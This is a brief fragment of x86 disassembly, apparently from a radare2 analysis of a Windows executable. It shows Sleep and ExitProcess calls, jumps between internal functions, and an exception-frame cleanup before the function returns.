call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, dword [0x464a90]
call fcn.00438f80
jmp 0x43f43a
push 1
mov eax, dword [0x464b14]
push eax
call fcn.0044bd80
add esp, 8
jmp 0x43f3ff
jmp 0x43f482
mov dword [ebp - 4], 0xffffffff
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret